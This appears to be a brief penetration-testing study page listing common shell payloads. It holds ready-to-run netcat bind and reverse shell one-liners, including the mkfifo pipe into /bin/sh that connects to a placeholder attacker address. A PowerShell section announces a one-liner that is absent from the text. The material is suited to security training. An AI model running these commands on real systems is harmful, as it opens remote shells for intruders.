Common Shell Payloads
Netcat Payloads
Bind Shell with Netcat:
In some versions of Netcat (like
nc.exeon Windows andnetcat-traditionalon Kali), you can use the-eoption to execute a process upon connection. For example, to set up a listener:nc -lvnp <PORT> -e /bin/bashConnecting to this listener with:
nc <LOCAL-IP> <PORT> -e /bin/bashwould result in a bind shell on the target.
Reverse Shell with Netcat:
However, the
-eoption is not available in most versions of Netcat due to security concerns. Instead, for a bind shell on Linux, you can use:mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/fExplanation:
This command creates a named pipe at
/tmp/f, starts a Netcat listener, and connects the input of the listener to the output of the named pipe. Commands sent to the listener are piped intosh, with stderr redirected to stdout, completing the loop.
Reverse Shell Command:
A similar command for a reverse shell is:
mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/fThis command is nearly identical to the bind shell command but uses the Netcat connect syntax.
PowerShell Reverse Shell
When targeting modern Windows Servers, a PowerShell reverse shell is often required. Here’s a useful one-liner:
Usage: Replace
<IP>and<port>with the appropriate values. This command can be executed in acmd.exeshell or through other command execution methods (like a webshell) to establish a reverse shell.
Additional Resources
For more common reverse shell payloads, check out PayloadsAllTheThings, a repository that contains a wide range of shell codes, usually in one-liner format for easy copying and pasting. It's a valuable resource to explore various options available for different programming languages.
Last updated